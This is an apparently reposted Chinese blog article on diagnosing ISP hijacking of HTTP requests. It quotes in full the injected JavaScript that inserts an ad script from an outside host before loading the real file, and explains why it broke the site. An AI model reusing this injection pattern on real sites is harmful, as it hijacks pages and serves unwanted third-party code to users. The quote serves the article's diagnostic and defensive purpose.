iis服务器助手广告广告
返回顶部
首页 > 资讯 > 前端开发 > VUE >如何发现ISP劫持HTTP请求
  • 449
分享到

如何发现ISP劫持HTTP请求

2024-04-02 19:04:59 449人浏览 八月长安
摘要

这篇文章将为大家详细讲解有关如何发现ISP劫持Http请求,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一

这篇文章将为大家详细讲解有关如何发现ISP劫持Http请求,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思,同时也提醒我们,应该及时支持https来保证站点安全

最近业务系统经常受到前端报错邮件

如何发现ISP劫持HTTP请求

发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持

如何发现ISP劫持HTTP请求

经过现场排查发现出错画面部分js加载出错

如何发现ISP劫持HTTP请求

区别在于错误的js会先插入一个广告js

为区别是否dns劫持查看NetWork面板

如何发现ISP劫持HTTP请求

IP正确并且为我方服务器IP确认并非为DNS***。

由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)

返回js如下

(function () {
    try {
        var o = 'm-_-m',
            D = document;
        if (!D.getElementById(o)) {
            var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
                J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
                M = 'http://pc.quansj.cn/?cid=08',
                C = D.currentScript,
                H = D.getElementsByTagName('head')[0],
                N = function (s, i) {
                    var I = D.createElement('script');
                    I.type = 'text/javascript';
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if (!C) {
                C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            return S[i];
                        }
                    }
                })();
            }
            C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"><' + '/script>'));
        }
    } catch (e) {}
})();

通过域名Whois反查

如何发现ISP劫持HTTP请求
发现旗下域名

如何发现ISP劫持HTTP请求

有好几个都是广告劫持网站

貌似和一个说脱口秀的(赵本山徒弟)同名………………该不是同一个人吧/(ㄒoㄒ)/~~

和沈阳联通沟通后无果,拒不承认存在劫持。目前正在求助工信部,不知能否有解决方案。

如何发现ISP劫持HTTP请求
GitHub上已经有针对该地址的adblock了……明显辽宁联通

看了一下js选项,正常情况下会执行到

C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));

代码做了判断,如果支持defer或者async这直接append异步加载js,当不支持则直接通过document写入(同步执行)

也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到

经过查阅发现chrome有个设置(据说chrome55(?)+版本后优化)可以尝试一下

[chrome://flags/#disallow-doc-written-script-loads]()

如何发现ISP劫持HTTP请求

具体说明如下

With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the &lt;script&gt; elements injected via document.write()when all of the following conditions are met:

  1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)

  2. The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.

  3. The script in the document.write() is parser-blocking. Scripts with the 'async' or 'defer' attributes will still execute.

  4. The script is not hosted on the same site. In other Words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).

  5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.

  6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as nORMal.

Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.

貌似我们不符合条件4  暂时先考虑一下

代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ,即不会执行document.write

如果悲催的是我们画面中存在2个或两个以上的js被劫持,那么除了第一个js其余均不会加载。

那么查看了一下js请求(带有queryString),发现

如何发现ISP劫持HTTP请求
果然当时客户的请求了commonjs,也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………

再说一下关于我们首页的劫持(跳转?)
如何发现ISP劫持HTTP请求

明显也是江苏宽带(南京电信)的劫持……

关于“如何发现ISP劫持HTTP请求”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

--结束END--

本文标题: 如何发现ISP劫持HTTP请求

本文链接: https://www.lsjlt.com/news/83637.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 如何发现ISP劫持HTTP请求
    这篇文章将为大家详细讲解有关如何发现ISP劫持HTTP请求,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一...
    99+
    2024-04-02
  • vue如何实现发送websocket请求和http post请求
    这篇文章主要介绍vue如何实现发送websocket请求和http post请求,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!先给大家介绍下vue发送websocket请求和http...
    99+
    2024-04-02
  • PHP中如何发送HTTP请求?
    PHP是一门广泛使用的编程语言,它支持发送HTTP请求。发送HTTP请求可以用于与远程服务器通信,从而获取或发送数据。在本篇文章中,我们将讨论PHP中如何发送HTTP请求。发送HTTP请求的方式有多种,包括使用curl库、file_get_...
    99+
    2023-05-24
    PHP发送HTTP请求 HTTP请求方法 PHP HTTP客户端
  • Node.js中如何发起HTTP请求
    这篇文章主要介绍Node.js中如何发起HTTP请求,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!正文Node.js HTTPS ModuleNode.js在标准库中带有https模...
    99+
    2024-04-02
  • Java如何发起http请求的实现(GET/POST)
    前言 在未来做项目中,一些功能模块可能会采用不同的语言进行编写。这就需要http请求进行模块的调用。那么下面,我将以Java为例,详细说明如何发起http请求。 一、GET与POST...
    99+
    2024-04-02
  • ThinkPHP6如何结合GuzzleHTTP发送HTTP请求
    这篇文章主要介绍ThinkPHP6如何结合GuzzleHTTP发送HTTP请求,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!ThinkPHP6 结合GuzzleHTTP发送HTTP请求背景thinkphp微信公众号程...
    99+
    2023-06-15
  • Python Http发送请求怎么实现
    本篇内容介绍了“Python Http发送请求怎么实现”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!浅析requests在不借助其...
    99+
    2023-07-02
  • 如何利用HttpUtils发送一个http请求
    如何利用HttpUtils发送一个http请求?相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。上代码import java.io.IOException;import&...
    99+
    2023-05-31
    http请求 httputils
  • HTTP请求:如何在Bash中发送它们?
    HTTP请求是在Web开发中非常常见的一个概念。它允许我们向Web服务器发送请求,并获取响应。在本文中,我们将介绍如何使用Bash发送HTTP请求。 Bash是一种Unix Shell,它提供了一种在命令行中执行操作的简单方式。这使得Ba...
    99+
    2023-08-15
    path bash http
  • .NET 6开发TodoList应用中如何实现DELETE请求与HTTP请求幂等性
    本篇文章为大家展示了.NET 6开发TodoList应用中如何实现DELETE请求与HTTP请求幂等性,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。需求先说明一下关于原本想要去更新的PAT...
    99+
    2023-06-22
  • nodejs如何实现原生的HTTP请求
    这篇文章主要介绍“nodejs如何实现原生的HTTP请求”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“nodejs如何实现原生的HTTP请求”文章能帮助大家解决问题。第一部分:创建一个HTTP请求在...
    99+
    2023-07-05
  • 如何重试 HTTP POST 请求
    编程网今天将给大家带来《如何重试 HTTP POST 请求》,感兴趣的朋友请继续看下去吧!以下内容将会涉及到等等知识点,如果你是正在学习Golang或者已经是大佬级别了,都非常欢迎也希望大家都能给我...
    99+
    2024-04-04
  • Netty4之如何实现HTTP请求、响应
    目录前言1.Netty中HTTP请求和响应类2.Netty中客户端、服务端的编解码器3.Server端编写Handler类处理客户请求4.测试总结前言 我们所编写的项目多以BS为主,...
    99+
    2023-05-14
    Netty4 HTTP请求 Netty4 HTTP响应
  • Ngnix如何处理http请求
    这篇文章主要为大家展示了“Ngnix如何处理http请求”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Ngnix如何处理http请求”这篇文章吧。nginx处理http的请求是nginx最重要的...
    99+
    2023-06-27
  • Go语言如何实现关闭http请求
    这篇文章主要介绍“Go语言如何实现关闭http请求”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Go语言如何实现关闭http请求”文章能帮助大家解决问题。写在前面面试的时候问到如何关闭http请求,...
    99+
    2023-07-05
  • PHP发送HTTP请求实现批量短信发送
    PHP是一种流行的网页编程语言,用于开发动态Web应用程序。与其他编程语言相比,PHP与HTTP请求的集成较好,使其成为发送批量短信的理想语言。在本文中,我们将介绍如何使用PHP发送HTTP请求来实现批量短信发送。假设我们有一个来自电信服务...
    99+
    2023-05-24
    Http请求 PHP 短信发送
  • Feign如何实现第三方的HTTP请求
    目录Feign调用的简单实现1. 默认模式,不使用配置类,作用于服务内部调用而非三方请求接口2.自定义配置类3.自定义配置类法2 4. @FeignClient参数说明5....
    99+
    2022-11-13
    Feign HTTP请求 第三方HTTP请求 Feign第三方HTTP请求
  • Python并发编程:如何优化HTTP请求处理?
    随着互联网的发展,我们的应用程序越来越依赖于HTTP请求。无论是爬取网页、请求API接口还是处理数据,HTTP请求几乎成为了每一个应用程序的必要操作。然而,如果我们在处理HTTP请求时没有考虑并发处理,那么我们的程序可能会因为等待服务器响...
    99+
    2023-09-21
    http 二维码 并发
  • 如何使用PHP实现同步HTTP请求并记录请求日志?
    PHP是一种流行的编程语言,它被广泛应用于Web开发领域。在Web开发中,我们通常需要使用HTTP请求与其他服务进行通信。本文将介绍如何使用PHP实现同步HTTP请求并记录请求日志,希望对你有所帮助。 一、PHP实现同步HTTP请求 在PH...
    99+
    2023-09-03
    同步 http 日志
  • feign如何打印出http请求
    目录feign打印出http请求1.记录请求和响应的头文件2.在配置文件中配置对应的包feign请求日志统一打印feign打印出http请求 用openfign依赖需要将请求的方法中...
    99+
    2024-04-02
软考高级职称资格查询
推荐阅读
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作